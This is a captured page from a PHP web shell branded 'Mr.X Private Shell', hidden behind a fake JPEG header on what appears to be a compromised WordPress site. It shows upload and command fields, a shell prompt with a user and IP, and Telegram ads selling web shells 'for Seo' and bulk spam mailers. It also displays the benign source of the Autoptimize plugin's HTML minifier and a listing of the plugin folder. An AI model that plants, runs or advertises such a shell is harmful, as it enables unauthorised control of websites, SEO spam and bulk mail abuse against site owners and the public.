����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.216.24: ~ $
<?php
/**
 * Handles minifying HTML markup.
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

class autoptimizeHTML extends autoptimizeBase
{
    /**
     * Whether HTML comments are kept.
     *
     * @var bool
     */
    private $keepcomments = false;

    /**
     * Whether inline CSS/ JS is minified.
     *
     * @var bool
     */
    private $minify_inline = false;

    /**
     * Whether to force xhtml compatibility.
     *
     * @var bool
     */
    private $forcexhtml = false;

    /**
     * Things to exclude from being minifed.
     *
     * @var array
     */
    private $exclude = array(
        '<!-- ngg_resource_manager_marker -->',
        '<!--noindex-->',
        '<!--/noindex-->',
    );

    public function read( $options )
    {
        // Remove the HTML comments?
        $this->keepcomments = (bool) $options['keepcomments'];

        // Filter to force xhtml.
        $this->forcexhtml = (bool) apply_filters( 'autoptimize_filter_html_forcexhtml', false );

        // minify inline JS/ CSS.
        $this->minify_inline = (bool) apply_filters( 'autoptimize_html_minify_inline_js_css', $options['minify_inline'] );

        // Filterable strings to be excluded from HTML minification.
        $exclude = apply_filters( 'autoptimize_filter_html_exclude', '' );
        if ( '' !== $exclude ) {
            $exclude_arr   = array_filter( array_map( 'trim', explode( ',', $exclude ) ) );
            $this->exclude = array_merge( $exclude_arr, $this->exclude );
        }

        // Nothing else for HTML!
        return true;
    }

    /**
     * Minifies HTML.
     *
     * @return bool
     */
    public function minify()
    {
        $noptimize = apply_filters( 'autoptimize_filter_html_noptimize', false, $this->content );
        if ( $noptimize ) {
            return false;
        }

        // Wrap the to-be-excluded strings in noptimize tags.
        foreach ( $this->exclude as $str ) {
            if ( false !== strpos( $this->content, $str ) ) {
                $replacement   = '<!--noptimize-->' . $str . '<!--/noptimize-->';
                $this->content = str_replace( $str, $replacement, $this->content );
            }
        }

        // Noptimize.
        $this->content = $this->hide_noptimize( $this->content );

        // Preparing options for Minify_HTML.
        $options = array( 'keepComments' => $this->keepcomments );
        if ( $this->forcexhtml ) {
            $options['xhtml'] = true;
        }

        // Optionally minify inline JS & CSS.
        if ( $this->minify_inline ) {
            if ( false != autoptimizeOptionWrapper::get_option( 'autoptimize_js' ) && false != autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_js_optimize' ) && true !== apply_filters( 'autoptimize_filter_js_noptimize', false, $this->content ) && false === strpos( $this->content, 'text/template' ) ) {
                $options['jsMinifier']  = 'JSMin::minify';
            }
            if ( false != autoptimizeOptionWrapper::get_option( 'autoptimize_css' ) && false != autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_css_optimize' ) && true !== apply_filters( 'autoptimize_filter_css_noptimize', false, $this->content ) ) {
                $options['cssMinifier'] = 'autoptimizeCSSmin::minify';
            }
        }

        $tmp_content = AO_Minify_HTML::minify( $this->content, $options );
        if ( ! empty( $tmp_content ) ) {
            $this->content = $tmp_content;
            unset( $tmp_content );
        }

        // Restore noptimize.
        $this->content = $this->restore_noptimize( $this->content );

        // Remove the noptimize-wrapper from around the excluded strings.
        foreach ( $this->exclude as $str ) {
            $replacement = '<!--noptimize-->' . $str . '<!--/noptimize-->';
            if ( false !== strpos( $this->content, $replacement ) ) {
                $this->content = str_replace( $replacement, $str, $this->content );
            }
        }

        // Revslider data attribs somehow suffer from HTML optimization, this fixes that!
        if ( class_exists( 'RevSlider' ) && apply_filters( 'autoptimize_filter_html_dataattrib_cleanup', false ) ) {
            $this->content = preg_replace( '#\n(data-.*$)\n#Um', ' $1 ', $this->content );
            $this->content = preg_replace( '#<[^>]*(=\"[^"\'<>\s]*\")(\w)#', '$1 $2', $this->content );
        }

        return true;
    }

    /**
     * Doesn't do much in case of HTML (no cache in css/js sense there)
     *
     * @return true
     */
    public function cache()
    {
        return true;
    }

    /**
     * Returns the HTML markup.
     *
     * @return string
     */
    public function getcontent()
    {
        return $this->content;
    }
}

Filemanager

Name Type Size Permission Actions
critcss-inc Folder 0755
external Folder 0755
static Folder 0755
autoptimizeBase.php File 23.3 KB 0644
autoptimizeCLI.php File 743 B 0644
autoptimizeCSSmin.php File 1.74 KB 0644
autoptimizeCache.php File 29.74 KB 0644
autoptimizeCacheChecker.php File 5.41 KB 0644
autoptimizeCompatibility.php File 6.15 KB 0644
autoptimizeConfig.php File 54.48 KB 0644
autoptimizeCriticalCSSBase.php File 14.79 KB 0644
autoptimizeCriticalCSSCore.php File 30.07 KB 0644
autoptimizeCriticalCSSCron.php File 45.65 KB 0644
autoptimizeCriticalCSSEnqueue.php File 15.64 KB 0644
autoptimizeCriticalCSSSettings.php File 23.18 KB 0644
autoptimizeCriticalCSSSettingsAjax.php File 26.49 KB 0644
autoptimizeExitSurvey.php File 7.24 KB 0644
autoptimizeExtra.php File 34.28 KB 0644
autoptimizeHTML.php File 4.64 KB 0644
autoptimizeImages.php File 78.38 KB 0644
autoptimizeMain.php File 38.57 KB 0644
autoptimizeMetabox.php File 14.8 KB 0644
autoptimizeOptionWrapper.php File 6.53 KB 0644
autoptimizePartners.php File 4.89 KB 0644
autoptimizeProTab.php File 5.45 KB 0644
autoptimizeScripts.php File 31.68 KB 0644
autoptimizeSpeedupper.php File 4.3 KB 0644
autoptimizeStyles.php File 53 KB 0644
autoptimizeToolbar.php File 6.9 KB 0644
autoptimizeUtils.php File 22.22 KB 0644
autoptimizeVersionUpdatesHandler.php File 12.17 KB 0644
index.html File 189 B 0644